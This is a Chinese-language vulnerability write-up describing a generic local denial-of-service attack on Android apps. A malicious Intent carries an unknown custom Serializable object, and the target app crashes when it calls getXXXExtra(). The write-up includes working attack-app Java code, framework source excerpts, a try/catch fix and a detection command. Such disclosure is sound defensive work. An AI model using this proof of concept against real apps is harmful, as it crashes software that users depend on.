Android APP通用型拒绝服务漏洞分析报告

作者:0xr0ot & Xbalien

0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。

针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。
漏洞应用代码片段:

Intent i = getIntent();
if(i.getAction().equals("serializable_action")){
i.getSerializableExtra("serializable_key"); //未做异常判断
}
攻击应用代码片段:
Intent i = new Intent();
i.setAction("serializable_action");
i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");
i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据
startActivity(i);

比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。

但后来交流中发现,当传入一个自定义的序列化对象Serializable或getParcelable对象时,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。
自定义的序列化类很简单:

public class DataSchema implements Serializable {
private static final long serialVersionUID = -3601187837704976264L;
public DataSchema() {
super();
}
}

对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。

随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。

测试app代码片段:

protected void onCreate(Bundle savedInstanceState) {
Intent intent = getIntent();
intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash
}

接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。


/frameworks/base/core/java/android/content/Intent.java
public String getStringExtra(String name) {
return mExtras == null ? null : mExtras.getString(name);
}
/frameworks/base/core/java/android/os/Bundle.java
public String getString(String key) {
unparcel(); //处理数据
...
}
/* package */ synchronized void unparcel() {
...
mParcelledData.readMapInternal(mMap, N, mClassLoader);
...
}
/frameworks/base/core/java/android/os/Parcel.java
readMapInternal解析传递进来的数据
/* package */ void readMapInternal(Map outVal, int N,
ClassLoader loader) {
while (N > 0) {
Object key = readValue(loader);
Object value = readValue(loader);
outVal.put(key, value);
N--;
}
}
最后当解析到Serializable对象时,由于加载不到类,抛出异常
public final Serializable readSerializable() {
...
try {
ObjectInputStream ois = new ObjectInputStream(bais);
return (Serializable) ois.readObject();
} catch (IOException ioe) {
throw new RuntimeException("Parcelable encountered " +
"IOException reading a Serializable object (name = " + name +
")", ioe);
} catch (ClassNotFoundException cnfe) {
throw new RuntimeException("Parcelable encountered" +
"ClassNotFoundException reading a Serializable object (name = "
+ name + ")", cnfe);
}
}

但是回头想想,谷歌肯定不是认为这是android的漏洞,开发者只要加个try catch 捕获异常就可以了。

漏洞修复:
不管是get什么extra,只要是getXXXExtra(),加上try catch捕获异常即可。

漏洞检测:
为了方便大家测试我们写了个简单的验证程序。
使用方法:
adb shell am start -n com.qihoo.checkextracrash/.MainActivity -e package_name packagename -e class_name componentname

http://yunpan.cn/cyxmpwnk3MMT3(提取码:7a7d)

参考:
http://androidxref.com/4.2.2_r1/xref/frameworks/base/core/java/android/os/Parcel.java

关于 “Android APP通用型拒绝服务漏洞分析报告” 的一个意见

评论关闭。